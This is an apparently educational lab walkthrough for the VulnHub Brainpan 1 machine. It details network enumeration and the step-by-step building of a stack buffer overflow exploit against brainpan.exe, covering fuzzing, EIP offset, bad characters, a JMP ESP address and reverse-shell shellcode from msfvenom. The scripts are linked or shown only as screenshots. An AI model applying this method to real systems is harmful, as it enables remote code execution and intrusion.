&lt;/ul>
&lt;h2 id="enumeration-netdiscover">Enumeration: Netdiscover&lt;/h2>
&lt;p>Because the VulnHub virtual machines are in a downloadable and self-hosted format the machine gets an IP address from &lt;a href="https://en.wikipedia.org/wiki/Dynamic_Host_Configuration_Protocol">DHCP&lt;/a> when it starts. This means that unlike online challenges such as &lt;a href="https://www.hackthebox.eu/">Hack The Box&lt;/a> the IP address of the machine is somewhat &amp;ldquo;unknown&amp;rdquo; beforehand.&lt;/p>
&lt;p>The first thing to know is the local network address by using the &lt;strong>ifconfig&lt;/strong> command.
&lt;img src="01.png" alt="&amp;ldquo;Ifconfig Command&amp;rdquo;">&lt;/p>
&lt;p>Knowing the network address and subnet mask &lt;strong>Netdiscover&lt;/strong> can be leveraged to do some &lt;a href="https://en.wikipedia.org/wiki/Address_Resolution_Protocol">ARP&lt;/a> reconnaissance and find other hosts on the local network.
&lt;img src="02.png" alt="&amp;ldquo;Netdiscover Command&amp;rdquo;">&lt;/p>
&lt;p>The Brainpan 1 machine is hosted on the VMware software so it is safe to assume that the second entry in the list is the target as the &lt;strong>MAC Vendor&lt;/strong> column indicates a &lt;a href="https://en.wikipedia.org/wiki/MAC_address">MAC address&lt;/a> associated with VMware.
&lt;img src="03.png" alt="&amp;ldquo;Netdiscover Results&amp;rdquo;">&lt;/p>
&lt;h2 id="enumeration-nmap">Enumeration: Nmap&lt;/h2>
&lt;p>Running an initial scan with Nmap reveals ports &lt;strong>9999&lt;/strong> and &lt;strong>10000&lt;/strong> are open.
&lt;img src="04.png" alt="&amp;ldquo;Nmap Initial Scan&amp;rdquo;">&lt;/p>
&lt;p>Running a targeted service scan against ports 9999 and 10000 reveals the &lt;strong>Python SimpleHTTPServer&lt;/strong> and another unknown service running.
&lt;img src="05.png" alt="&amp;ldquo;Nmap Service Scan&amp;rdquo;">&lt;/p>
&lt;h2 id="enumeration-firefox">Enumeration: Firefox&lt;/h2>
&lt;p>Visiting the website on port 10000 with the &lt;strong>Firefox browser&lt;/strong> reveals a page with statistics about safe coding practices.
&lt;img src="06.png" alt="&amp;ldquo;Firefox Enumeration&amp;rdquo;">&lt;/p>
&lt;h2 id="enumeration-gobuster">Enumeration: Gobuster&lt;/h2>
&lt;p>Digging a bit deeper a Gobuster scan reveals an interesting &lt;strong>bin directory&lt;/strong>.
&lt;img src="07.png" alt="&amp;ldquo;Gobuster Scan&amp;rdquo;">&lt;/p>
&lt;h2 id="enumeration-firefox-continued">Enumeration: Firefox Continued&lt;/h2>
&lt;p>Visiting the bin directory with the Firefox browser reveals a downloadable executable with the name &lt;strong>brainpan.exe&lt;/strong>.
&lt;img src="08.png" alt="&amp;ldquo;Firefox Enumeration Bin Directory&amp;rdquo;">&lt;/p>
&lt;p>Downloading the brainpan.exe file with wget and inspecting it with the &lt;strong>file command&lt;/strong> reveals it is a &lt;strong>32-bit Windows executable&lt;/strong> file.
&lt;img src="09.png" alt="&amp;ldquo;Inspecting the Executable&amp;rdquo;">&lt;/p>
&lt;h2 id="enumeration-running-the-executable">Enumeration: Running the Executable&lt;/h2>
&lt;p>Executing the application on a Windows machine reveals it is a &lt;strong>network server&lt;/strong> waiting for connections on &lt;strong>port 9999&lt;/strong> indicating we most likely found the application that is listening on this port.
&lt;img src="10.png" alt="&amp;ldquo;Running the Executable&amp;rdquo;">&lt;/p>
&lt;h2 id="enumeration-netcat">Enumeration: Netcat&lt;/h2>
&lt;p>Connecting to the application with &lt;strong>Netcat&lt;/strong> reveals a password prompt. Entering a password reveals an access denied message, the application exits the session and returns to the command prompt.
&lt;img src="11.png" alt="&amp;ldquo;Connecting with Netcat&amp;rdquo;">&lt;/p>
&lt;p>On the Windows command prompt the application shows the password entered and the total amount of &lt;strong>bytes copied to a buffer in memory&lt;/strong>.
&lt;img src="12.png" alt="&amp;ldquo;Bytes Copied to Memory&amp;rdquo;">&lt;/p>
&lt;h2 id="enumeration-strings">Enumeration: Strings&lt;/h2>
&lt;p>Leveraging the &lt;strong>strings&lt;/strong> utility on the &lt;strong>brainpan.exe file&lt;/strong> reveals an out of place string.
&lt;img src="13.png" alt="&amp;ldquo;Leveraging the Strings Utility&amp;rdquo;">&lt;/p>
&lt;h2 id="enumeration-netcat-continued">Enumeration: Netcat Continued&lt;/h2>
&lt;p>Leveraging Netcat to enter the &lt;strong>discovered string&lt;/strong> in the password field reveals it is the correct password. However, like our previous attempt the application exits to the command prompt.
&lt;img src="14.png" alt="&amp;ldquo;Netcat Entering Password&amp;rdquo;">&lt;/p>
&lt;h2 id="debugging-step-1-fuzzing">Debugging: Step 1 Fuzzing&lt;/h2>
&lt;p>Suspecting the brainpan.exe application is vulnerable to a buffer overflow attack a simple &lt;strong>Python &lt;a href="https://en.wikipedia.org/wiki/Fuzzing">fuzzer&lt;/a>&lt;/strong> can be written to test this.
&lt;img src="15.png" alt="&amp;ldquo;Nano 1-fuzz.py&amp;rdquo;">&lt;/p>
&lt;p>The script above creates a string of 100 &lt;strong>A&lt;/strong> characters in the variable &lt;strong>buffer&lt;/strong>, tries to connect to the Windows host on &lt;strong>port 9999&lt;/strong> and sends the buffer. When done it increments the buffer with 100 &lt;strong>A&amp;rsquo;s&lt;/strong> and then tries to connect and send the string, which is now 200 &lt;strong>A&amp;rsquo;s&lt;/strong> again.&lt;/p>
&lt;p>The fuzzer will keep increasing the buffer of &lt;strong>A&amp;rsquo;s&lt;/strong> each time it runs until it can no &lt;strong>longer connect to port 9999&lt;/strong> which is an indication the application crashed and is no longer accepting connections. The script can be downloaded &lt;a href="1-fuzz.txt">here&lt;/a>.&lt;/p>
&lt;p>Running the fuzzer with Python reveals it can &lt;strong>no longer connect&lt;/strong> and shows the crash message when it sends &lt;strong>around 600 bytes&lt;/strong> to the application.
&lt;img src="16.png" alt="&amp;ldquo;Running 1-fuzz.py&amp;rdquo;">&lt;/p>
&lt;p>On the Windows command prompt the buffer of A&amp;rsquo;s is displayed on the screen, followed by the bytes copied message. It is clearly visible that after this action the application exited to the command prompt and is no longer running.
&lt;img src="17.png" alt="&amp;ldquo;Application Crash&amp;rdquo;">&lt;/p>
&lt;h2 id="debugging-setting-up-the-debugging-environment">Debugging: Setting Up the Debugging Environment&lt;/h2>
&lt;p>Now that we know the brainpan.exe application is vulnerable to a buffer overflow attack it is time to &lt;strong>configure the debugging environment&lt;/strong> to help develop an exploit. Make sure to &lt;strong>start Immunity Debugger as Administrator&lt;/strong>, a window looking like the one below should appear.
&lt;img src="18.png" alt="&amp;ldquo;The Immunity Debugger Window&amp;rdquo;">&lt;/p>
&lt;p>Take some time to get to know Immunity Debugger. Take note of the &lt;strong>file menu, terminate and play buttons and the search button&lt;/strong> at the top of the screen. Also note the &lt;strong>status bar all the way at the bottom&lt;/strong>. The four windows have distinct functions:&lt;/p>
&lt;ul>
&lt;li>The top left window shows CPU instructions&lt;/li>
&lt;li>The top right window shows the status of CPU registers&lt;/li>
&lt;li>The bottom left window shows the memory&lt;/li>
&lt;li>The bottom right window shows the stack&lt;/li>
&lt;/ul>
&lt;p>When Immunity Debugger is started we need to &lt;strong>attach the brainpan.exe executable to the debugger&lt;/strong> to start debugging the application. In the top left menu choose &lt;strong>File &amp;gt; Open&lt;/strong> and navigate to the &lt;strong>brainpan.exe executable&lt;/strong>. When found &lt;strong>select brainpan.exe and choose Open&lt;/strong>.
&lt;img src="19.png" alt="&amp;ldquo;Attaching brainpan.exe to Immunity Debugger&amp;rdquo;">&lt;/p>
&lt;p>Immunity Debugger will launch the brainpan.exe application in a &lt;strong>paused state as can be seen in status bar at the bottom right corner of the screen&lt;/strong>.
&lt;img src="20.png" alt="&amp;ldquo;Brainpan.exe Paused&amp;rdquo;">&lt;/p>
&lt;p>A &lt;strong>Windows command&lt;/strong> prompt will be launched by Immunity Debugger displaying an &lt;strong>empty window for the brainpan.exe application&lt;/strong>. This is &lt;strong>normal&lt;/strong> because the application is still in a &lt;strong>paused&lt;/strong> state within the debugger and is not running at the moment.
&lt;img src="21.png" alt="&amp;ldquo;Brainpan.exe Command Prompt Window&amp;rdquo;">&lt;/p>
&lt;p>Clicking the &lt;strong>play button&lt;/strong> in the top left will &lt;strong>start the brainpan.exe application&lt;/strong> and display a &lt;strong>running status in the status bar in the bottom right&lt;/strong> of the Immunity Debugger window.
&lt;img src="22.png" alt="&amp;ldquo;Brianpan.exe Running&amp;rdquo;">&lt;/p>
&lt;p>Navigating back to the &lt;strong>Windows command prompt&lt;/strong> we can see &lt;strong>brainpan.exe is indeed running&lt;/strong> and waiting for connections.
&lt;img src="23.png" alt="&amp;ldquo;Brainpan.exe Running Command Prompt&amp;rdquo;">&lt;/p>
&lt;p>Setting up the debugging environment as explained above should be repeated each time a new step in the debugging process is performed or when the brainpan.exe application has crashed.&lt;/p>
&lt;h2 id="debugging-step-2-replicating-the-crash">Debugging: Step 2 Replicating the Crash&lt;/h2>
&lt;p>We know from &lt;strong>fuzzing the brainpan.exe application in Step 1&lt;/strong> that it crashes when &lt;strong>around 600 bytes are sent&lt;/strong>. We will &lt;strong>replicate this crash while the brainpan.exe application is attached to the debugger&lt;/strong> to verify what happens.
&lt;img src="24.png" alt="&amp;ldquo;Nano 2-crash.py&amp;rdquo;">&lt;/p>
&lt;p>The script above is a modified version of the fuzzing script and will be used and edited in the remaining steps to develop a working exploit. A &lt;strong>variable buffer is created&lt;/strong> which contains &lt;strong>a string of 600 A&amp;rsquo;s&lt;/strong>. The script then connects to the application on port 9999 and &lt;strong>sends the buffer of 600 A&amp;rsquo;s&lt;/strong>. The script can be downloaded &lt;a href="2-crash.txt">here&lt;/a>.&lt;/p>
&lt;p>Running the python script &lt;strong>while brainpan.exe is attached to the debugger and in a running state&lt;/strong>.
&lt;img src="25.png" alt="&amp;ldquo;Running 2-crash.py&amp;rdquo;">&lt;/p>
&lt;p>Returning to the debugger &lt;strong>the status bar on the bottom of the screen shows an access violation&lt;/strong>. In the top right window, we see the &lt;strong>EDX and ESP register filled with A&amp;rsquo;s&lt;/strong> and &lt;strong>the EIP register which displays the value 41414141&lt;/strong> which is the &lt;a href="https://en.wikipedia.org/wiki/Hexadecimal">hexadecimal&lt;/a> representation of the &lt;strong>letter A&lt;/strong> stored in the buffer variable. Looking at &lt;strong>the stack window in the bottom right&lt;/strong> of the screen we see that memory address &lt;strong>005FF910&lt;/strong> which is ESP is filled with &lt;strong>A&amp;rsquo;s&lt;/strong> as well.
&lt;img src="26.png" alt="&amp;ldquo;Immunity Debugger Access Violation&amp;rdquo;">&lt;/p>
&lt;p>Returning to the &lt;strong>Windows command prompt&lt;/strong> where brainpan.exe was running we clearly see the buffer of A&amp;rsquo;s and the action to copy the A&amp;rsquo;s to the buffer in memory.
&lt;img src="27.png" alt="&amp;ldquo;Windows Command Prompt Brainpan.exe&amp;rdquo;">&lt;/p>
&lt;p>Now that the brainpan.exe application is in a crashed state we have to &lt;strong>reattach and restart it again&lt;/strong> to further debug the application. Click the &lt;strong>little cross in the top left&lt;/strong>. When asked &lt;strong>to terminate the brainpan.exe process click yes&lt;/strong>.
&lt;img src="28.png" alt="&amp;ldquo;Immunity Debugger Terminate Brainpan.exe&amp;rdquo;">&lt;/p>
&lt;p>&lt;strong>Reattach&lt;/strong> the brainpan.exe application to the debugger by navigating to &lt;strong>File &amp;gt; Open&lt;/strong> and clicking &lt;strong>Play&lt;/strong> like we did in the &lt;strong>Debugging: Setting Up the Debugging Environment&lt;/strong> step. Before continuing &lt;strong>make sure the application is in a running state&lt;/strong> as shown in the bottom right of the screenshot below.
&lt;img src="29.png" alt="&amp;ldquo;Immunity Debugger Brainpan.exe Running&amp;rdquo;">&lt;/p>
&lt;h2 id="debugging-step-3-finding-the-offset-to-the-eip-register">Debugging: Step 3 Finding the Offset to the EIP Register&lt;/h2>
&lt;p>To &lt;strong>control the execution flow&lt;/strong> of the application it is important to &lt;strong>control the EIP register&lt;/strong>. To gain control of this register the &lt;strong>exact offset to EIP&lt;/strong> has to be found so we can fill it with whatever data we want. The ruby script &lt;strong>pattern_create.rb&lt;/strong> can be leveraged to create a unique string of characters &lt;strong>to determine the exact offset to the EIP register&lt;/strong>.&lt;/p>
&lt;p>To do this we copy the &lt;strong>2-crash.py&lt;/strong> script and modify it with the output of &lt;strong>pattern_create.rb&lt;/strong>. We make the string which will be the new &lt;strong>buffer 650 bytes long&lt;/strong>, a bit bigger than the 600 we got from fuzzing the brainpan.exe application.
&lt;img src="30.png" alt="&amp;ldquo;Running pattern_create.rb&amp;rdquo;">&lt;/p>
&lt;p>Modifying the script &lt;strong>3-pattern.py&lt;/strong> we add a variable called &lt;strong>pattern&lt;/strong> and fill it with the string created by &lt;strong>pattern_create.rb&lt;/strong>. Furthermore we &lt;strong>modify the buffer variable to include the pattern variable&lt;/strong> we just added. The script can be downloaded &lt;a href="3-pattern.txt">here&lt;/a>.
&lt;img src="31.png" alt="&amp;ldquo;Nano 3-pattern.py&amp;rdquo;">&lt;/p>
&lt;p>Running the 3-pattern.py script with Python.
&lt;img src="32.png" alt="&amp;ldquo;Running 3-pattern.py&amp;rdquo;">&lt;/p>
&lt;p>The debugger again shows an access violation in the status bar at the bottom of the screen and is in a paused state. This time the &lt;strong>EIP register is filled with a unique value&lt;/strong> instead of just &lt;strong>A&amp;rsquo;s&lt;/strong>. The value in EIP is &lt;strong>35724134&lt;/strong> and should be noted for later use.
&lt;img src="33.png" alt="&amp;ldquo;Immunity Debugger EIP Value&amp;rdquo;">&lt;/p>
&lt;p>The companion ruby script &lt;strong>pattern_offset.rb&lt;/strong> can be leveraged to find the &lt;strong>exact offset to the EIP register&lt;/strong> by combining it with the unique value from EIP we noted earlier. Running the script with the &lt;strong>-l 650 and -q 35724134&lt;/strong> parameters shows an exact offset of &lt;strong>524 bytes&lt;/strong>.
&lt;img src="34.png" alt="&amp;ldquo;Running pattern_offset.rb&amp;rdquo;">&lt;/p>
&lt;p>Make sure to &lt;strong>reattach the brainpan.exe application&lt;/strong> to the debugger by navigating to &lt;strong>File &amp;gt; Open&lt;/strong> and clicking the &lt;strong>Play&lt;/strong> button again as explained in the &lt;strong>Debugging: Setting Up the Debugging Environment&lt;/strong> step. Before continuing make sure the application is in a running state.&lt;/p>
&lt;h2 id="debugging-step-4-controlling-the-eip-register">Debugging: Step 4 Controlling the EIP Register&lt;/h2>
&lt;p>To make sure we have the &lt;strong>correct offset to the EIP register&lt;/strong> we will modify the &lt;strong>3-pattern.py&lt;/strong> script and try to put &lt;strong>four B&amp;rsquo;s in the EIP register&lt;/strong>. If the offset of &lt;strong>524&lt;/strong> is correct running the modified script &lt;strong>4-control-eip.py&lt;/strong> should display the &lt;strong>four B&amp;rsquo;s in the EIP register&lt;/strong> instead of the A&amp;rsquo;s or the unique string from the previous steps. For good measure and clarity, we will &lt;strong>pad the buffer variable with some C characters&lt;/strong> to clearly demonstrate how the buffer variable from our script is represented in memory within Immunity Debugger.&lt;/p>
&lt;p>The buffer variable is modified to include &lt;strong>524 A&amp;rsquo;s&lt;/strong> then &lt;strong>4 B&amp;rsquo;s&lt;/strong> and &lt;strong>122 C&amp;rsquo;s&lt;/strong>. 524 + 4 + 122 = 650 keeping our buffer length the same as before. The script can be downloaded &lt;a href="4-control-eip.txt">here&lt;/a>.
&lt;img src="35.png" alt="&amp;ldquo;Nano 4-control-eip.py&amp;rdquo;">&lt;/p>
&lt;p>Running the modified script &lt;strong>4-control-eip.py&lt;/strong> with Python.
&lt;img src="36.png" alt="&amp;ldquo;Running 4-control-eip.py&amp;rdquo;">&lt;/p>
&lt;p>As expected the application crashes and Immunity Debugger shows an access violation in the status bar at the bottom of the screen. Note however how &lt;strong>the EDX register is now filled with A&amp;rsquo;s&lt;/strong> while &lt;strong>the ESP register is filled with C&amp;rsquo;s&lt;/strong>. Also note &lt;strong>the EIP register which is filled with 42424242&lt;/strong> which represent our &lt;strong>four B&amp;rsquo;s&lt;/strong> in hexadecimal format. The stack window in the bottom right clearly displays how our A&amp;rsquo;s are cleanly followed by four B&amp;rsquo;s and nicely continues with C&amp;rsquo;s as expected.
&lt;img src="37.png" alt="&amp;ldquo;Immunity Debugger EIP Filled with B&amp;rdquo;">&lt;/p>
&lt;p>Following the memory dump by &lt;strong>right clicking on the ESP register&lt;/strong> and then clicking &lt;strong>Follow in Dump&lt;/strong> in the context menu shows how the memory is built up and clearly indicates a clean transition from A&amp;rsquo;s to the four B&amp;rsquo;s and continuing with C&amp;rsquo;s. This clearly shows how the buffer variable from our script is represented in memory within Immunity Debugger.
&lt;img src="38.png" alt="&amp;ldquo;Immunity Debugger Follow ESP in Dump&amp;rdquo;">&lt;/p>
&lt;p>Make sure to &lt;strong>reattach the brainpan.exe application&lt;/strong> to the debugger by navigating to &lt;strong>File &amp;gt; Open&lt;/strong> and clicking the &lt;strong>Play&lt;/strong> button again as explained in the &lt;strong>Debugging: Setting Up the Debugging Environment&lt;/strong> step. Before continuing make sure the application is in a running state.&lt;/p>
&lt;h2 id="debugging-step-5-finding-space-for-shellcode">Debugging: Step 5 Finding Space for Shellcode&lt;/h2>
&lt;p>Now that we have &lt;strong>confirmed control over the EIP register&lt;/strong>, can fill it with data of our choosing and know how our buffer variable is built up in memory we need to find space for our &lt;a href="https://en.wikipedia.org/wiki/Shellcode">shellcode&lt;/a>. A &lt;strong>Windows payload is usually about 350 to 450 bytes&lt;/strong> while our C&amp;rsquo;s currently only represent &lt;strong>122 bytes&lt;/strong> in our buffer variable, to small of a space for &lt;strong>450 bytes of shellcode&lt;/strong>. The simplest way to find space is to just &lt;strong>increase the amount of C&amp;rsquo;s in our buffer variable&lt;/strong> and test if the application still behaves the same as before.&lt;/p>
&lt;p>To do this we modify the 4-control-eip.py script and &lt;strong>increase the C&amp;rsquo;s in the buffer variable by 400&lt;/strong> creating a total of 522 C&amp;rsquo;s. Plenty of space for a Windows reverse shell payload and some extra padding. The script can be downloaded &lt;a href="5-find-space.txt">here&lt;/a>.
&lt;img src="39.png" alt="&amp;ldquo;Nano 5-find-space.py&amp;rdquo;">&lt;/p>
&lt;p>Running the &lt;strong>5-find-space.py&lt;/strong> script with Python.
&lt;img src="40.png" alt="&amp;ldquo;Running 5-find-space.py&amp;rdquo;">&lt;/p>
&lt;p>As expected the debugger again shows an access violation. Following the memory dump by &lt;strong>right clicking on the ESP register&lt;/strong> and then clicking &lt;strong>Follow in Dump&lt;/strong> in the context menu again shows how the buffer is built up in memory. It is clear we now have more C&amp;rsquo;s than before and successfully increased the space needed to store our shellcode.
&lt;img src="41.png" alt="&amp;ldquo;Immunity Debugger Follow ESP in Dump&amp;rdquo;">&lt;/p>
&lt;p>Make sure to &lt;strong>reattach the brainpan.exe application&lt;/strong> to the debugger by navigating to &lt;strong>File &amp;gt; Open&lt;/strong> and clicking the &lt;strong>Play&lt;/strong> button again as explained in the &lt;strong>Debugging: Setting Up the Debugging Environment&lt;/strong> step. Before continuing make sure the application is in a running state.&lt;/p>
&lt;h2 id="debugging-step-6-finding-bad-characters">Debugging: Step 6 Finding Bad Characters&lt;/h2>
&lt;p>Some &lt;strong>hexadecimal characters cannot be used in shellcode&lt;/strong> because they interfere with executing the shellcode correctly. An example of a character that is always bad is &lt;strong>\x00&lt;/strong> also known as a &lt;a href="https://en.wikipedia.org/wiki/Null_character">NULL&lt;/a> character or NULL byte. This character &lt;strong>signifies the end of a string&lt;/strong> thus cutting off the string stored in our buffer variable and cutting off the shellcode before it can fully execute.&lt;/p>
&lt;p>Other bad characters depend on the application and should be found before shellcode can be generated. We know from the previous steps how the buffer variable is represented in memory as the follow in dump function clearly shows this. We can use this technique to find bad characters that should be excluded from our shellcode.&lt;/p>
&lt;p>To find bad characters the 5-find-space.py script is modified with a variable &lt;strong>badchars&lt;/strong> that &lt;strong>includes all characters in hexadecimal format&lt;/strong> apart from the &lt;strong>\x00&lt;/strong> character. The &lt;strong>buffer&lt;/strong> variable is modified to include the &lt;strong>badchars&lt;/strong> variable instead of the C&amp;rsquo;s from the previous step. The script can be downloaded &lt;a href="6-find-bad-characters.txt">here&lt;/a>, a file with all hex characters can be found &lt;a href="6-badchars.txt">here&lt;/a>.
&lt;img src="42.png" alt="&amp;ldquo;Nano 6-find-bad-characters.py&amp;rdquo;">&lt;/p>
&lt;p>Running the &lt;strong>6-find-bad-characters.py&lt;/strong> script with Python.
&lt;img src="43.png" alt="&amp;ldquo;Running 6-find-bad-characters.py&amp;rdquo;">&lt;/p>
&lt;p>Looking at the debugger we are greeted by the access violation again. To find bad characters we again have to leverage the &lt;strong>follow in dump&lt;/strong> function for the &lt;strong>ESP register&lt;/strong> and look for signs of our buffer variable being truncated anywhere. The screenshot below shows all hex characters &lt;strong>from \x01 all the way through \xFF&lt;/strong> in memory without any truncation meaning the brainpan.exe application does not have any more bad characters.
&lt;img src="44.png" alt="&amp;ldquo;Immunity Debugger Follow ESP in Dump&amp;rdquo;">&lt;/p>
&lt;p>If the string &lt;strong>looks truncated or garbled in memory&lt;/strong> the &lt;strong>bad character&lt;/strong> should be &lt;strong>removed from the badchars variable&lt;/strong> in the &lt;strong>6-find-bad-characters.py&lt;/strong> script. When removed the script should be run again until no other bad characters are found truncating the output of the buffer variable.&lt;/p>
&lt;p>Make sure to &lt;strong>reattach the brainpan.exe application&lt;/strong> to the debugger by navigating to &lt;strong>File &amp;gt; Open&lt;/strong> and clicking the &lt;strong>Play&lt;/strong> button again as explained in the &lt;strong>Debugging: Setting Up the Debugging Environment&lt;/strong> step. Before continuing make sure the application is in a running state.&lt;/p>
&lt;h2 id="debugging-step-7-jumping-to-the-esp-register">Debugging: Step 7 Jumping to the ESP Register&lt;/h2>
&lt;p>As should be evident by now &lt;strong>the ESP register is consistently filled&lt;/strong> with the data we want &lt;strong>whether it be our buffer of A&amp;rsquo;s, C&amp;rsquo;s or the bad characters from the previous step&lt;/strong> and can conveniently store our shellcode. If we want to &lt;strong>execute the shellcode stored in the ESP register&lt;/strong> we should find a way to redirect the execution flow of the brainpan.exe application to jump to that location in memory. &lt;strong>This is where control of the EIP register comes into play&lt;/strong>.&lt;/p>
&lt;p>To jump to ESP we should find a memory location that contains a &lt;strong>JMP ESP instruction&lt;/strong> either within the brainpan.exe application itself or one of its loaded modules. However, before we can do this we should find the &lt;strong>hexadecimal equivalent of a JMP ESP instruction&lt;/strong>. The &lt;strong>nasm_shell.rb&lt;/strong> script can help with this.
&lt;img src="45.png" alt="&amp;ldquo;Locating and Using nasm_shell.rb&amp;rdquo;">&lt;/p>
&lt;p>Entering the instruction &lt;strong>JMP ESP into nasm_shell.rb&lt;/strong> reveals the hexadecimal equivalent of a JMP ESP instruction is &lt;strong>\xFF\xE4&lt;/strong>. Now we need to find a module that has no memory protections such as &lt;a href="https://en.wikipedia.org/wiki/Executable_space_protection">SafeSEH or ASLR&lt;/a> enabled. This can be achieved with the &lt;strong>mona.py&lt;/strong> script.&lt;/p>
&lt;p>In the &lt;strong>command window&lt;/strong> at the bottom of Immunity Debugger type &lt;strong>!mona modules&lt;/strong>. A screen like the one below appears with all the loaded modules, their memory address and memory protections. We are looking for a module that has &lt;strong>false&lt;/strong> across the board. &lt;strong>False means the protection is not enabled&lt;/strong>. The only module that satisfies these criteria is the brainpan.exe application itself.
&lt;img src="46.png" alt="&amp;ldquo;Finding Modules with Mona&amp;rdquo;">&lt;/p>
&lt;p>Now that we have identified a module &lt;strong>without memory protections enabled&lt;/strong> we can &lt;strong>leverage mona.py again to look for a memory location with a JMP ESP instruction&lt;/strong>. This can be achieved with the command &lt;strong>!mona find -s &amp;ldquo;\xff\xe4&amp;rdquo; -m brainpan.exe&lt;/strong>. Fortunately, Mona finds a &lt;strong>JMP ESP instruction&lt;/strong> at memory address &lt;strong>311712F3&lt;/strong>.
&lt;img src="47.png" alt="&amp;ldquo;Finding a JMP ESP Address with Mona&amp;rdquo;">&lt;/p>
&lt;p>To &lt;strong>verify if the memory address 311712F3&lt;/strong> indeed &lt;strong>contains a JMP ESP instruction&lt;/strong> we can search for the memory address within Immunity Debugger by clicking on the &lt;strong>search button at the top of the screen&lt;/strong>, entering the &lt;strong>memory address 311712F3 and then clicking OK&lt;/strong>. The debugger jumps to the address and we can see that it indeed contains a JMP ESP instruction.
&lt;img src="48.png" alt="&amp;ldquo;Verifying the JMP ESP Address&amp;rdquo;">&lt;/p>
&lt;p>To &lt;strong>verify if we can indeed jump to ESP&lt;/strong> using this memory address the 6-find-bad-characters.py script is modified to include the memory address with the JMP ESP instruction we discovered. The &lt;strong>buffer variable&lt;/strong> is modified with the &lt;strong>memory address that contains the JMP ESP instruction instead of our four B&amp;rsquo;s&lt;/strong> we also &lt;strong>add back the 522 C&amp;rsquo;s&lt;/strong> at the end of the buffer variable instead of the bad characters from the previous step.
&lt;img src="49.png" alt="&amp;ldquo;Nano 7-jump-to-esp.py&amp;rdquo;">&lt;/p>
&lt;p>Note that the x86 architecture uses memory address in little &lt;strong>&lt;a href="https://en.wikipedia.org/wiki/Endianness">endian format&lt;/a>&lt;/strong>, this means we have to &lt;strong>enter the memory address in reverse&lt;/strong>. In other words, the memory address &lt;strong>31 17 12 F3&lt;/strong> should be noted in hexadecimal format as follows &lt;strong>\xF3 \x12 \x17 \x31&lt;/strong> within our buffer variable. The modified script can be downloaded &lt;a href="7-jump-to-esp.txt">here&lt;/a>.&lt;/p>
&lt;p>Before we run the &lt;strong>7-jump-to-esp.py&lt;/strong> script we will set a &lt;strong>breakpoint on the memory address that contains the JMP ESP instruction&lt;/strong> within Immunity Debugger. We do this to instruct the debugger to pause before executing instructions beyond that point. This is so we can follow exactly what happens. In Immunity Debugger &lt;strong>click on the memory address with the JMP ESP instruction&lt;/strong> and press the &lt;strong>F2&lt;/strong> button to set a breakpoint.
&lt;img src="50.png" alt="&amp;ldquo;Immunity Debugger Setting a Breakpoint&amp;rdquo;">&lt;/p>
&lt;p>Running the &lt;strong>7-jump-to-esp.py&lt;/strong> script with Python.
&lt;img src="51.png" alt="&amp;ldquo;Running 7-jump-to-esp.py&amp;rdquo;">&lt;/p>
&lt;p>Once the breakpoint is reached Immunity Debugger enters a paused state, &lt;strong>the status bar indicates a breakpoint is reached at address 311712F3&lt;/strong> that contains the JMP ESP instruction. If the application executes further we should expect it to jump to the beginning of the ESP register that contains our &lt;strong>C characters&lt;/strong> from our buffer variable.
&lt;img src="52.png" alt="&amp;ldquo;Immunity Debugger Hitting the Breakpoint&amp;rdquo;">&lt;/p>
&lt;p>Using the &lt;strong>F7 key to step into the next instruction&lt;/strong> should bring us at the &lt;strong>beginning of our C&amp;rsquo;s at memory address 005FF910&lt;/strong> confirming the buffer variable is well aligned and the memory address with the JMP ESP instruction does exactly what we want it to do, jump to ESP.
&lt;img src="53.png" alt="&amp;ldquo;Immunity Debugger Stepping Into the Breakpoint&amp;rdquo;">&lt;/p>
&lt;p>Make sure to &lt;strong>reattach the brainpan.exe application&lt;/strong> to the debugger by navigating to &lt;strong>File &amp;gt; Open&lt;/strong> and clicking the &lt;strong>Play&lt;/strong> button again as explained in the &lt;strong>Debugging: Setting Up the Debugging Environment&lt;/strong> step. Before continuing make sure the application is in a running state.&lt;/p>
&lt;h2 id="debugging-step-8-writing-the-exploit">Debugging: Step 8 Writing the Exploit&lt;/h2>
&lt;p>Now that we control the EIP register, found a memory location with a JMP ESP instruction and confirmed the JMP ESP instruction works as expected and brings us to the beginning of our C&amp;rsquo;s in the buffer variable it is time to &lt;strong>finish the exploit by generating and adding some shellcode&lt;/strong> instead of the innocent C&amp;rsquo;s we have been using as padding until now.&lt;/p>
&lt;p>&lt;strong>Msfvenom&lt;/strong> can be leveraged to generate a &lt;strong>Windows reverse shell shellcode&lt;/strong> that connects back to a listener on our attacking machine. &lt;strong>Make sure to exclude any bad characters that where found&lt;/strong> in Step 6 with the &lt;strong>-b&lt;/strong> option. The generated shellcode is &lt;strong>351 bytes&lt;/strong> long which neatly fits in the &lt;strong>522 C&amp;rsquo;s&lt;/strong> we have added to our buffer variable.
&lt;img src="54.png" alt="&amp;ldquo;Msfvenom Generating Windows Shellcode&amp;rdquo;">&lt;/p>
&lt;p>Now that the shellcode is generated it should be copied so that it can be pasted in the exploit script.
&lt;img src="55.png" alt="&amp;ldquo;Copying the Windows Shellcode&amp;rdquo;">&lt;/p>
&lt;p>To add the shellcode and finish the exploit the 7-jump-to-esp.py script should be modified with a &lt;strong>shellcode variable&lt;/strong> that contains the shellcode generated by Msfvenom.
&lt;img src="56.png" alt="&amp;ldquo;Nano 8-exploit.py Shellcode&amp;rdquo;">&lt;/p>
&lt;p>The buffer variable is modified to contain 32 &lt;a href="https://en.wikipedia.org/wiki/NOP_(code)">NOP&amp;rsquo;s&lt;/a> and the new &lt;strong>shellcode variable&lt;/strong>, the &lt;strong>NOP&amp;rsquo;s are added to give the shellcode some room to expand&lt;/strong> if needed. The &lt;strong>32 bytes of NOP&amp;rsquo;s and the 351 bytes&lt;/strong> that contain she shellcode should be &lt;strong>subtracted from the 522 C&amp;rsquo;s in the buffer variable&lt;/strong> to keep the total size of the buffer the same as it has been until now. &lt;strong>522 - 32 - 351 = 139&lt;/strong> so we should pad the buffer with another &lt;strong>139 C&amp;rsquo;s&lt;/strong> after we added in the NOP&amp;rsquo;s and the shellcode variable.
&lt;img src="57.png" alt="&amp;ldquo;Nano 8-exploit.py Buffer&amp;rdquo;">&lt;/p>
&lt;p>The exploit is now finished and ready for testing. Before executing the exploit an &lt;strong>Ncat listener is prepared to catch the reverse shell connection&lt;/strong>.
&lt;img src="58.png" alt="&amp;ldquo;Preparing a Ncat Listener&amp;rdquo;">&lt;/p>
&lt;p>Running the &lt;strong>8-exploit.py&lt;/strong> script with Python.
&lt;img src="59.png" alt="&amp;ldquo;Running 8-exploit.py&amp;rdquo;">&lt;/p>
